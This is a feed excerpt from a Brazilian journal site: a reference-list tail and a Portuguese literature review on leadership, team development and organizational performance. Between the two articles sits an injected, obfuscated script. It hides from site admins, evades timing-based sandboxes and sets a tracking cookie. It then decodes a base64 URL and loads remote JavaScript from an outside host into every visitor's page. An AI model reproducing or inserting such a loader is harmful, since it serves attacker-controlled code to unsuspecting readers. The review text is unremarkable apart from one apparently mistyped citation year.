<p class="wp-block-paragraph">ROLDAN, Maritza M.; THOMPSON, Donoval N. Aplicaciones móviles nativas orientadas a servicios y recursos de bibliotecas universitarias. <em>In</em>: CONGRESO EDUTEC, 16.,2013, Costa Rica.<strong> Anais</strong> [&#8230;]. Costa Rica: Universidad Estatal a Distancia, 2013. Disponível em:<a href="https://studylib.es/doc/6860264/aplicaciones-m%C3%B3viles-nativas-orientadas-a-servicios-y-rec%E2%80%A6"> https://studylib.es/doc/6860264/aplicaciones-m%C3%B3viles-nativas-orientadas-a-servicios-y-rec…</a> Acesso em: 7 maio. 2025.</p>



<p class="wp-block-paragraph">SANTANA, S. A.; FRANCO, M. L. V.; SANTOS, R. P. Aplicativo para dispositivos móveis: relato de experiência da biblioteca da escola de educação física e esporte da universidade de São Paulo. <strong>Revista Brasileira de Biblioteconomia e Documentação</strong>, v. 11, n. esp., 2015. Disponível em: <a href="https://brapci.inf.br/v/2988">https://brapci.inf.br/v/2988</a>. Acesso em: 11 jun. 2025.</p>



<p class="wp-block-paragraph">SILVA, Felipe Ferreira da. <strong>A construção de um aplicativo móvel como produto de informação</strong>: uma proposta de mediação da informação para Bibliotecas Universitárias. 2018. Dissertação (Mestrado em Biblioteconomia) &#8211; Centro de Ciências Sociais aplicadas, Universidade Federal do Cariri, Juazeiro do Norte, 2018.</p>



<p class="wp-block-paragraph">TERUEL, Evandro Carlos. <strong>Web mobile</strong>. São Paulo: Ciência moderna, 2010.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1,2,3</sup>Mestra em Administração.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A INFLUÊNCIA DA LIDERANÇA NO DESENVOLVIMENTO DE EQUIPES E NO DESEMPENHO ORGANIZACIONAL</title>
		<link>https://revistaft.com.br/a-influencia-da-lideranca-no-desenvolvimento-de-equipes-e-no-desempenho-organizacional/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 09 Dec 2025 20:21:55 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 – Edição 153/DEZ 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=258295</guid>

					<description><![CDATA[REGISTRO DOI: 10.69849/revistaft/cl10202512091720 Erizângela Carla de Oliveira Rodriguês1Orientadora: Adriana dos Anjos Duarte2 RESUMO A liderança ocupa lugar estratégico no contexto organizacional, especialmente diante de ambientes marcados por mudanças rápidas, competitividade e necessidade de adaptação contínua. Pesquisas recentes apontam que líderes influenciam diretamente motivação, clima interno, comunicação e desempenho coletivo.&#160; O objetivo do estudo foi analisar [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202512091720</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Erizângela Carla de Oliveira Rodriguês<sup>1</sup><br>Orientadora: Adriana dos Anjos Duarte<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">A liderança ocupa lugar estratégico no contexto organizacional, especialmente diante de ambientes marcados por mudanças rápidas, competitividade e necessidade de adaptação contínua. Pesquisas recentes apontam que líderes influenciam diretamente motivação, clima interno, comunicação e desempenho coletivo.&nbsp; O objetivo do estudo foi analisar a influência da liderança no desenvolvimento de equipes e no desempenho organizacional. A metodologia consistiu em revisão de literatura, com buscas realizadas em bases nacionais e internacionais, utilizando critérios de inclusão que abrangeram publicações entre 2020 e 2025. Os resultados revelam que estilos de liderança centrados no diálogo, empatia e clareza comunicacional fortalecem vínculos e ampliam engajamento. Evidências mostram que inteligência emocional, feedback contínuo e práticas democráticas elevam motivação, reduzem conflitos e geram ambientes colaborativos. Em contraste, modelos autocráticos, decisões centralizadas e ausência de reconhecimento afetam negativamente o desempenho e limitam a participação das equipes. Os estudos analisados convergem na indicação de que líderes preparados, capazes de compreender necessidades humanas e contextuais, favorecem maior produtividade e constroem relações de confiança. O desenvolvimento de equipes e o desempenho organizacional dependem de práticas de liderança alinhadas ao equilíbrio entre orientação, escuta e sensibilidade diante das demandas internas e externas.</p>



<p class="wp-block-paragraph"><strong>Palavras-chaves</strong>: Liderança, Desenvolvimento de equipes, Desempenho organizacional, Gestão de pessoas e Clima organizacional.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">Leadership occupies a strategic place in the organizational context, especially in environments marked by rapid change, competitiveness, and the need for continuous adaptation. Recent research shows that leaders directly influence motivation, internal climate, communication, and collective performance.&nbsp; The aim of the study was to analyze the influence of leadership on team development and organizational performance. The methodology consisted of a literature review, with searches carried out in national and international databases, using inclusion criteria that covered publications between 2020 and 2025. The results reveal that leadership styles centered on dialogue, empathy and communicational clarity strengthen bonds and expand engagement. Evidence shows that emotional intelligence, continuous feedback, and democratic practices increase motivation, reduce conflict, and generate collaborative environments. In contrast, autocratic models, centralized decisions, and lack of recognition negatively affect performance and limit team participation. The studies analyzed converge in the indication that prepared leaders, capable of understanding human and contextual needs, favor greater productivity and build relationships of trust. Team development and organizational performance depend on leadership practices aligned with the balance between guidance, listening, and sensitivity to internal and external demands.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Leadership, Team development, Organizational performance, People management and Organizational climate.</p>



<p class="wp-block-paragraph"><strong>1.</strong> <strong>INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O tema liderança nas organizações integra um campo de estudos que evolui ao longo dos anos. As transformações vinculadas à tecnologia e à globalização intensificaram a rivalidade no ambiente empresarial. As alterações rápidas exigem adaptação, inovação e formulação de soluções estratégicas compatíveis com o cenário atual, o que requer respostas ágeis por parte de líderes em diferentes níveis.</p>



<p class="wp-block-paragraph">Nesse contexto, surge a necessidade de ampliar a compreensão sobre dimensões associadas à liderança. As mudanças constantes nos espaços organizacionais impulsionam a inserção da figura do líder em processos corporativos com o propósito de adotar medidas alinhadas ao cenário econômico e promover integração entre liderança e equipes, fortalecendo práticas coletivas e colaborativas (Silva; Santos; Marques, 2022).</p>



<p class="wp-block-paragraph">As lideranças atuam como motor do sucesso organizacional, com 72% dos executivos relacionando o baixo engajamento das equipes à ausência de líderes capazes de inspirar. Para 68%, a preparação adequada de profissionais que conduzem times exerce impacto direto no progresso corporativo, índice que também indica influência da liderança na retenção ou na evasão de talentos. O levantamento integra estudo divulgado pela Amcham Brasil, em parceria com a consultoria Humanizadas, com participação de 765 executivos distribuídos por diversos setores e regiões do país (It Forum, 2025).</p>



<p class="wp-block-paragraph">A liderança exerce função central no sucesso de organizações modernas inseridas em ambiente empresarial dinâmico e competitivo. Os líderes eficazes inspiram equipes, estimulam processos de inovação e direcionam esforços para o alcance de objetivos estratégicos. O desenvolvimento de líderes, porém, não ocorre de forma espontânea, pois depende de formação contínua, preparo técnico e experiências que sustentem práticas alinhadas às demandas corporativas (Pedro; Serafim; Carvalho, 2025).</p>



<p class="wp-block-paragraph">O líder precisa unir racionalidade operacional e vocação para executar o serviço com precisão, pois a liderança representa capacidade que reúne inspiração, direção e influência sobre pessoas orientadas para objetivos coletivos. Um líder eficaz assume responsabilidades, toma decisões e estimula a equipe com coerência e responsabilidade. Essa figura atua como referência intelectual da organização e projeta identidade própria nas ações realizadas (Meneghetti, 2021).</p>



<p class="wp-block-paragraph">Entretanto, a influência da liderança no desenvolvimento de equipes e no desempenho organizacional constitui desafio recorrente no campo da gestão. Diversas organizações enfrentam dificuldade para compreender o impacto de práticas de liderança sobre cooperação interna, produtividade e alcance de metas. A falta de estratégias coerentes pode gerar conflitos, queda de rendimento e desmotivação entre profissionais.</p>



<p class="wp-block-paragraph">Nesse cenário, surge a necessidade de analisar estilos e condutas de liderança que interferem na dinâmica das equipes e nas relações de trabalho. Dessa forma temos a seguinte problemática: Como a liderança influencia o desenvolvimento de equipes e o desempenho organizacional?</p>



<p class="wp-block-paragraph">A pesquisa se justifica pela necessidade de compreender como práticas de condução de pessoas influenciam produtividade, cooperação interna e consolidação de resultados corporativos. A falta de organização na liderança pode gerar conflitos, desmotivação e queda de rendimento, impactando metas e diretrizes institucionais. A investigação dessa relação permite identificar elementos que fortalecem processos de gestão e estimulam ambientes de trabalho mais eficientes. O estudo amplia a compreensão sobre dinâmicas organizacionais e oferece subsídios para aprimorar a atuação de líderes em diferentes contextos.</p>



<p class="wp-block-paragraph">O objetivo do estudo foi analisar a influência da liderança no desenvolvimento de equipes e no desempenho organizacional. Os objetivos específicos delineados foram: demonstrar como diferentes estilos de liderança impactam a motivação, a comunicação e o engajamento das equipes; apresentar as práticas de liderança influenciam a produtividade, a colaboração e o clima organizacional e identificar os efeitos dos modelos de liderança sobre o desempenho coletivo em distintos contextos empresariais.</p>



<p class="wp-block-paragraph"><strong>2.</strong> <strong>FUNDAMENTAÇÃO TEÓRICA</strong></p>



<p class="wp-block-paragraph"><strong>2.1</strong> <strong>Compreensão conceitual de liderança</strong></p>



<p class="wp-block-paragraph">A realidade atual apresenta demanda crescente por lideranças capazes de conduzir equipes de forma eficaz para que metas e objetivos organizacionais sejam alcançados. A função de liderar passou por ampliações nos últimos anos, pois processos decisórios tornaram-se determinantes para o avanço estrutural e estratégico de organizações.</p>



<p class="wp-block-paragraph">Segundo Olley (2021), a expressão liderança pode ser entendida como influência exercida sobre pessoas para que realizem atividades da forma adequada às necessidades institucionais. Descreve habilidade que permite atuar entre grupos, controlar situações distintas, preservar clima harmonioso e elevar a qualidade das relações humanas e do desempenho individual.</p>



<p class="wp-block-paragraph">O entendimento sobre liderança passou por reformulações relevantes, resultantes de transformações observadas ao longo da história. Para Lussier e Achua (2022), afirma que, desde períodos antigos, o ser humano utilizou essa habilidade, mesmo de forma não consciente, evidenciando sua presença em acontecimentos marcantes e na vida social contemporânea. Essa capacidade contribui para o destaque do indivíduo na vida pessoal e profissional.</p>



<p class="wp-block-paragraph">Em razão dessa evolução, autores apresentam interpretações variadas sobre o conceito e sobre formas de definir palavras tão utilizadas no passado, no presente e no futuro. Conforme Bello <em>et al.</em> (2024), consideram liderança como condução de pessoas para realização de objetivos comuns. A liderança representa papel voltado à transformação da realidade mediante busca por caminhos que permitam construção de futuro mais favorável.</p>



<p class="wp-block-paragraph">Haslam <em>et al.</em> (2023) enfatizam que liderança eficaz se alinha à identidade social da organização por meio de ações sociais e iniciativas que estimulem integração, pertencimento e aceitação coletiva.</p>



<p class="wp-block-paragraph">De acordo com Israel (2021), destaca que as pessoas apresentam traços de liderança desde o nascimento, enquanto outras desenvolvem habilidades ao longo da vida, estimuladas pelo ambiente ou influências externas. Entre essas habilidades, destacam-se carisma, paciência, respeito, disciplina e capacidade de influenciar subordinados. Os líderes podem emergir de forma natural quando alguém assume posição de referência sem ocupar cargo formal, ou podem ser designados oficialmente para exercer autoridade.</p>



<p class="wp-block-paragraph">A mesma publicação ressalta que, independentemente da origem da habilidade, o processo de aprimoramento ao longo da trajetória individual permanece indispensável e deve acompanhar características do contexto vivido. Na visão de Banks, Woznyj e Mansfield (2021) apontam o comportamento do líder como elemento crítico nas teorias que tratam do fenômeno da liderança. Relação de confiança e condutas voltadas ao estímulo positivo da equipe passam a integrar dimensões diretamente ligadas à gestão de pessoas.</p>



<p class="wp-block-paragraph">Paes <em>et al</em>. (2021), a liderança se faz necessária em qualquer organização humana, abrangendo departamentos e funções administrativas. Para o autor, o administrador necessita compreender comportamento humano e conduzir pessoas com segurança e responsabilidade.</p>



<p class="wp-block-paragraph">Com isso, observa-se que liderança exerce papel indispensável na estrutura social. A habilidade aparece em famílias, escolas, igrejas, comunidades, esportes e instituições, sustentando organização de grupos em direção a um propósito comum. A influência funciona como força psicológica que altera de forma intencional o comportamento alheio (Souza; Silva, 2022).&nbsp;</p>



<p class="wp-block-paragraph">No ambiente organizacional, o administrador deve compreender profundamente características de cada colaborador para identificar estímulos adequados, selecionar condutas administrativas e fortalecer o clima de trabalho.</p>



<p class="wp-block-paragraph">Para Camilo <em>et al.</em> (2025), destaca que, ao estimular comportamento de outra pessoa, o indivíduo demonstra potencial de liderança, independentemente de posição hierárquica. O líder não se limita ao cargo; qualquer colaborador com perfil adequado e capacidade de orientar condutas pode ocupar o papel. A influência envolve poder, autoridade e métodos capazes de provocar mudanças em indivíduos ou grupos sociais.</p>



<p class="wp-block-paragraph">Em obra posterior, Rengel e Ensslin (2020), aponta que gestores alcançam resultados mais satisfatórios quando adaptam estilos de liderança ao contexto interno. Para evitar falhas decorrentes de condução inadequada, torna-se fundamental conhecer o ambiente de trabalho e compreender os efeitos do clima organizacional sobre o processo administrativo.</p>



<p class="wp-block-paragraph">Em suma, os líderes apresentam capacidade de adaptação às condutas dos liderados ou a situações que surgem no cotidiano. Segundo o autor, a influência deve partir do gestor, que precisa ajustar a postura conforme as exigências de cada conflito ou mudança ambiental. Assim, conclui-se que não existe estilo único de liderança, pois o líder eficaz se posiciona de modo adequado independentemente das circunstâncias.</p>



<p class="wp-block-paragraph"><strong>2.2</strong> <strong>Estilos de liderança</strong></p>



<p class="wp-block-paragraph">Há muitos anos os estilos de liderança são investigados por autores que analisam perspectivas variadas sobre o fenômeno. Calvosa e Ferreira (2023), afirma que, embora grande parte dos estudos tenha sido desenvolvida no século XX, teorias sobre liderança foram registradas antes de 100 a.C. A partir dos esforços surgiram modelos que ajudam a compreender a diversidade de estilos existentes.</p>



<p class="wp-block-paragraph">Em uma dessas análises, Olivindo <em>et al</em>. (2025), apresenta as lideranças transformacional e carismática, cujos primeiros conceitos foram formulados por Burns (1978) e Weber (1946). A liderança carismática e a transformacional descrevem processos de influência por meio dos quais líderes eficazes estimulam seguidores a ultrapassar interesses particulares para alcançar missão coletiva ou objetivos mais elevados.</p>



<p class="wp-block-paragraph">Conforme Lopes e Camargo (2023), a liderança carismática tende a emergir em momentos de crise, quando funcionários percebem o líder como figura capaz de propor soluções visionárias para desafios amplos. Líderes carismáticos apresentam capacidade de formular alternativas inovadoras para enfrentar obstáculos, mobilizando e motivando equipes de modo singular.</p>



<p class="wp-block-paragraph">Rocha <em>et al</em>. (2032), a liderança transformacional, diferente da carismática, concentra esforços no engajamento contínuo dos liderados, estimulando vínculos emocionais e transformação de valores. O estilo prioriza crescimento de colaboradores e não apenas resultados imediatos. Assim, liderança carismática e transformacional compartilham intenção de motivar seguidores, porém alcançam tal propósito por meios distintos.</p>



<p class="wp-block-paragraph">Em outro estudo, Soares (2021), o conceito de liderança situacional, compreendida como atributo complexo que ultrapassa características pessoais. A abordagem defende a adaptação constante do líder às necessidades dos colaboradores, rejeitando modelo fixo. Para os autores, não existe método universal para liderança, pois a atuação deve transitar entre estilos conforme demandas presentes em cada situação.</p>



<p class="wp-block-paragraph">No estudo de Saad (2024), seis estilos de liderança foram identificados: coercitivo, autoritativo, afiliativo, democrático, modelador e treinador. O estilo coercitivo caracteriza líder com postura autoritária sustentada pela ideia “faça o que eu digo”. A forma de condução reduz flexibilidade, desestimula funcionários e limita inovação, sendo mais adequada para momentos de urgência, crises ou cenários que envolvem comportamentos inadequados, apesar de apresentar baixa eficácia no longo prazo.</p>



<p class="wp-block-paragraph">A liderança autoritativa, segundo Rached <em>et al.</em> (2020), oferece visão clara e mobilizadora, estimulando os colaboradores a escolher caminhos para atingir metas. O estilo torna-se útil em contextos de incerteza, pois o líder transmite segurança para equipe seguir direção proposta. Contudo, pode não funcionar com profissionais altamente especializados, que tendem a esperar envolvimento técnico mais profundo.</p>



<p class="wp-block-paragraph">Para Bühler e Goldmeyer (2023), o estilo afiliativo prioriza relações humanas e fortalecimento de vínculos internos. O líder afiliativo promove ambiente harmonioso e resolve conflitos, aumentando confiança e colaboração. O estilo, porém, pode evitar confrontos necessários e não abordar falhas de desempenho de forma direta. Mesmo assim, mostra eficácia após períodos de estresse intenso.</p>



<p class="wp-block-paragraph">A liderança democrática, valoriza a participação do grupo na tomada de decisões. Líder democrático estimula discussões e busca consenso, apoiado na ideia de que soluções qualificadas surgem da diversidade de opiniões. O estilo fortalece senso de responsabilidade e cria ambiente inclusivo, embora desacelere decisões que exigem rapidez (Freitas <em>et al</em>., 2025).</p>



<p class="wp-block-paragraph">O estilo modelador, conforme Ferrari <em>et al</em>. (2022), estabelece padrões elevados e metas ambiciosas, exigindo desempenho equivalente de toda a equipe. O modelo funciona com grupos altamente competentes e autônomos, mas pode gerar sobrecarga e frustração entre colaboradores que não acompanham o ritmo. A produtividade tende a ser grande, embora o excesso de exigência exija cautela.</p>



<p class="wp-block-paragraph">Para Pinheiro e Spudeit (2019), o estilo treinador busca crescimento profissional e pessoal de colaboradores, orientando desenvolvimento de habilidades ao longo do tempo. O estilo produz resultados positivos com indivíduos dispostos a aprender, fortalecendo a autonomia. Entretanto, pode tornar-se menos eficiente em situações que requerem respostas rápidas ou quando colaboradores não demonstram interesse em evoluir.</p>



<p class="wp-block-paragraph">Assim, os estilos de liderança revelam perspectivas diferentes que influenciam o desempenho dos colaboradores.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2.3</strong> <strong>Satisfação dos funcionários</strong></p>



<p class="wp-block-paragraph">A satisfação no trabalho constitui fator central para produtividade e alcance de resultados no interior de organizações. A compreensão do tema varia conforme a percepção de cada indivíduo. Para Batista, Gondim e Magalhães (2022) definem satisfação no trabalho como grau no qual indivíduos expressam sentimento positivo ou negativo em relação ao trabalho, entendido como atitude ou reação emocional diante das tarefas, das condições físicas e do ambiente social. A reação emocional vinculada às atividades pode assumir caráter favorável ou desfavorável, conforme as condições presentes. O nível de satisfação resulta de diferentes fatores relacionados ao contexto laboral, entre eles a liderança.</p>



<p class="wp-block-paragraph">Nessa perspectiva, Martins <em>et al.</em> (2022), estabelece relação entre satisfação dos colaboradores e cuidado adotado por líderes na condução das equipes. O autor aponta que líderes empáticos e atentos ao suporte criam ambiente de confiança e valorização, o que eleva satisfação e produtividade. A ausência do suporte pode gerar percepção de desvalorização e sensação de frustração. Dessa forma, a atuação da liderança exerce influência significativa sobre o contentamento dos liderados.</p>



<p class="wp-block-paragraph">Conclui-se que reconhecer a satisfação no trabalho como elemento central e compreender vínculos entre práticas de liderança e clima laboral permite desenvolver estratégias capazes de promover um ambiente produtivo e alinhado a resultados qualificados.</p>



<p class="wp-block-paragraph"><strong>2.4</strong> <strong>Impactos da liderança na dinâmica das equipes e na performance organizacional</strong></p>



<p class="wp-block-paragraph">No contexto da liderança com inteligência emocional, Bonella <em>et al</em>. (2023), a gestão emocional exercida pelos líderes estabelece impactos diretos no engajamento das equipes ao demonstrar sensibilidade às emoções, reconhecer alterações comportamentais e ajustar a comunicação para promover vínculos mais sólidos no ambiente de trabalho. A empatia, o feedback frequente e a clareza nas orientações reforçam a motivação individual e coletiva, favorecendo o desempenho das operações. O equilíbrio emocional do líder contribui para a construção de relações de confiança e reduz conflitos internos. Ao compreender o estado emocional dos colaboradores, o líder amplia a capacidade de condução das tarefas.</p>



<p class="wp-block-paragraph">No âmbito da liderança autocrática, Santos e Figueiredo (2020), o estilo de liderança observado concentra decisões no gestor e utiliza o salário como principal elemento motivador, o que reduz o alcance das estratégias voltadas ao desenvolvimento da equipe. As autoras destacam que a ausência de benefícios, reconhecimento contínuo e práticas de valorização interfere na satisfação dos colaboradores e limita seu engajamento. O estudo evidencia que o comportamento do líder, ao não considerar diferenças individuais, compromete o desempenho coletivo. Mesmo assim, os funcionários reconhecem o apoio operacional e a clareza na comunicação.</p>



<p class="wp-block-paragraph">No campo da liderança baseada na inteligência emocional e na cooperação, Souza e Terazzi (2024), o desempenho organizacional na indústria analisada está associado à atuação de líderes que reconhecem a importância do trabalho em equipe, da inteligência emocional e de práticas avaliativas contínuas. Os autores destacam que a forma como os líderes conduzem suas equipes influencia diretamente a percepção de satisfação, o engajamento e o clima produtivo. A autopercepção positiva da liderança, aliada ao reconhecimento do valor de técnicas como o feedback 360º, demonstra a busca por melhoria constante. O estudo revela que líderes emocionalmente preparados fortalecem vínculos, reduzem conflitos e contribuem para a produtividade.</p>



<p class="wp-block-paragraph">No contexto da liderança situacional com elementos autocráticos e democráticos, Silva <em>et al</em>. (2023), o comportamento do líder exerce influência direta na motivação, no engajamento e no desempenho da equipe, especialmente quando envolve práticas de comunicação, delegação, disciplina e compreensão das necessidades individuais. A percepção dos colaboradores revela ausência de reconhecimento frequente, baixa abertura ao diálogo e pouca valorização de ideias, elementos que limitam a participação e enfraquecem o clima organizacional. Em contrapartida, algumas ações do líder, como a liberdade na execução de tarefas e a confiança demonstrada em parte da equipe, contribuem para o cumprimento das metas. A motivação, nesse cenário, oscila entre estímulos positivos e barreiras estruturais.</p>



<p class="wp-block-paragraph">No âmbito da liderança transformacional, Portela <em>et al.</em> (2025), as práticas de liderança exercem influência direta sobre motivação, satisfação e produtividade, especialmente quando associadas a comunicação clara, feedback contínuo e estímulo ao trabalho coletivo. Os autores destacam que a presença de elementos transformacionais favorece o engajamento, fortalece o ambiente colaborativo e amplia o comprometimento com os objetivos da organização. A análise demonstra que o desempenho das equipes melhora quando os líderes mantêm proximidade com os colaboradores e reconhecem contribuições individuais. Contudo, lacunas relacionadas à valorização profissional, oportunidades de crescimento e consistência da comunicação limitam os efeitos positivos da liderança.</p>



<p class="wp-block-paragraph">No contexto da liderança democrática, Santos (2024), o estilo democrático predominante na equipe estimula participação ativa, comunicação transparente e senso de pertencimento, fatores que reforçam vínculos coletivos e ampliam a fluidez do trabalho. O autor destaca que o líder demonstra preocupação com bem-estar emocional, desenvolvimento profissional e fortalecimento das relações, promovendo engajamento duradouro. A análise aponta que práticas pautadas em escuta, acolhimento e compartilhamento de decisões elevam o comprometimento dos colaboradores e impactam positivamente a produtividade. Observa-se ainda que a flexibilidade da liderança permite ajustar comportamentos ao nível de maturidade da equipe, preservando coerência entre metas e capacidade real de entrega.</p>



<p class="wp-block-paragraph">Sob a perspectiva da liderança orientada pelo coaching, Mutzenberg <em>et al</em>. (2021), a combinação entre liderança e ferramentas de coaching fortalece a gestão de pessoas ao ampliar o autoconhecimento, comunicação e alinhamento entre líder e equipe. Os autores apontam que práticas como feedback estruturado, avaliação 360º e treinamentos favorecem desenvolvimento profissional e emocional dos colaboradores, criando um ambiente de maior confiança e cooperação. A pesquisa evidencia que a clareza de papéis, o estímulo ao diálogo e o reconhecimento contribuem diretamente para o desempenho operacional. Também ressaltam que a atuação do líder influencia motivação, engajamento e clima interno, impactando os resultados organizacionais. Com isso, a liderança orientada pelo coaching apresenta efeitos positivos tanto no desempenho individual quanto coletivo.</p>



<p class="wp-block-paragraph">No campo da liderança democrática com nuances liberais, Oliveira (2025), os estilos de liderança identificados combinam elementos liberais e democráticos, caracterizados por autonomia, flexibilidade e incentivo à participação, fatores que fortalecem o engajamento e o desempenho da equipe. A autora demonstra que a proximidade do líder, a comunicação aberta e o apoio constante contribuem para um ambiente motivador, no qual os colaboradores se sentem valorizados e capacitados para evoluir profissionalmente. Os relatos evidenciam que a liderança exerce influência direta na motivação, reforçando a importância do reconhecimento, do diálogo e da clareza de metas. Além disso, o estudo mostra que a missão institucional fortalece o propósito coletivo, ampliando o comprometimento com os resultados. Assim, liderança eficaz e motivação aparecem interligadas na prática organizacional do SENAC/RN.</p>



<p class="wp-block-paragraph">No contexto da liderança democrática aplicada em cenários de mudança, Portes (2022), a liderança exerce influência decisiva no comportamento, na motivação e na adaptação dos colaboradores, sobretudo diante de cenários marcados por instabilidade e mudanças rápidas. O autor evidencia que estilos democráticos favorecem a participação, fortalecimento das relações, comprometimento e alinhamento entre líder e equipe, gerando um ambiente de trabalho mais seguro e colaborativo. Os dados revelam que práticas como comunicação clara, acompanhamento diário e envolvimento do líder nas atividades estimulam confiança e melhoram o desempenho funcional. Além disso, a presença ativa do gerente e o compartilhamento de conhecimento contribuem para a construção de vínculos e para a solução de problemas.</p>



<p class="wp-block-paragraph"><strong>3.</strong> <strong>METODOLOGIA</strong></p>



<p class="wp-block-paragraph">A pesquisa trata-se de uma revisão de literatura. Segundo Dorsa (2020) aponta que a revisão de literatura integra fase essencial da produção científica e assume formatos variados, como tese, dissertação, projeto ou artigo sustentado por publicações consolidadas. A leitura do conjunto possibilita perceber alterações ocorridas nas pesquisas ao longo do tempo em diferentes campos do saber. A apreciação das obras selecionadas permite delinear o cenário atual acerca do tema analisado, com apresentação de ideias recentes e métodos que exibem níveis distintos de evidência na literatura técnica.</p>



<p class="wp-block-paragraph">As pesquisas foram realizadas nas seguintes bases de dados: <em>Google Scholar, Web of Science, Scopus, </em>SciELO (<em>Scientific Electronic Library Online</em>) e no Portal de Periódicos CAPES. As palavras chaves delimitadas para realizar a pesquisas foram: Liderança, Desenvolvimento de equipes, Desempenho organizacional, Gestão de pessoas e Clima organizacional.&nbsp;</p>



<p class="wp-block-paragraph">Foram definidos critérios que orientaram a seleção do material analisado, com delimitação temporal entre 2020 e 2025. Como o recorte exigia aderência direta ao objetivo proposto, a investigação contemplou diversos formatos de produção científica, como estudos de campo, análises de caso, pesquisas transversais, descrições analíticas, relatos de experiência e experimentações. Trabalhos publicados em português ou inglês foram aceitos. Integraram o conjunto examinado apenas os materiais disponibilizados na íntegra nas plataformas e bases consultadas.</p>



<p class="wp-block-paragraph">Os critérios de exclusão abrangeram materiais sem vínculo claro com o propósito do estudo, além de produções cuja versão completa não se encontrava acessível. E foram retirados da análise textos que ultrapassavam o limite temporal definido, restringindo-se a seleção a trabalhos publicados entre 2020 e 2025.</p>



<p class="wp-block-paragraph">Os dados obtidos nos artigos foram agrupados em planilhas no Microsoft Excel com a finalidade de estruturar o conteúdo examinado. Após essa etapa, foi conduzida uma análise descritiva voltada à identificação de regularidades, categorias e elementos recorrentes entre as pesquisas consultadas. O procedimento possibilitou uma compreensão ampla do conjunto selecionado. As informações organizadas constituíram base para a interpretação dos achados.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1</strong> &#8211; Fluxograma de elegibilidade dos artigos da pesquisa.</p>



<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="601" height="421" src="https://revistaft.com.br/wp-content/uploads/2025/12/image-753.png" alt="" class="wp-image-258298" srcset="https://revistaft.com.br/wp-content/uploads/2025/12/image-753.png 601w, https://revistaft.com.br/wp-content/uploads/2025/12/image-753-300x210.png 300w" sizes="(max-width: 601px) 100vw, 601px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: autora, 2025.</p>



<p class="wp-block-paragraph">Na fase inicial, foram localizados 789 estudos nas bases pesquisadas, com exclusão de 231 após a leitura de títulos e resumos. Em seguida, 558 artigos avançaram para avaliação, etapa que resultou na retirada de 319 por não atenderem à questão central da investigação.&nbsp;</p>



<p class="wp-block-paragraph">Na etapa de elegibilidade, permaneceram 239 textos, porém 178 foram excluídos por não se ajustarem aos critérios estabelecidos. Ao final do percurso, 10 artigos foram selecionados para compor o material analisado.</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">A análise dos estudos indicou que a liderança exerce influência direta na organização das equipes, na motivação e na produção de resultados. Os diferentes cenários mostraram que estilos pautados em diálogo, empatia e clareza fortalecem vínculos internos e ampliam a capacidade de entrega dos colaboradores. Quando o líder desenvolve sensibilidade para compreender emoções e necessidades, o ambiente se torna mais coeso e aberto à cooperação.&nbsp;</p>



<p class="wp-block-paragraph">O conjunto de práticas estimula maior envolvimento com metas definidas e transforma a liderança em eixo central da dinâmica de trabalho, gerando fortalecimento do desempenho coletivo e relações sustentadas por confiança. As pesquisas evidenciaram que modelos centralizadores ou rígidos restringem o desenvolvimento das equipes e limitam a participação dos colaboradores. Decisões concentradas em poucas pessoas, ausência de reconhecimento e comunicação restrita reduzem a motivação e criam barreiras para inovação.&nbsp;</p>



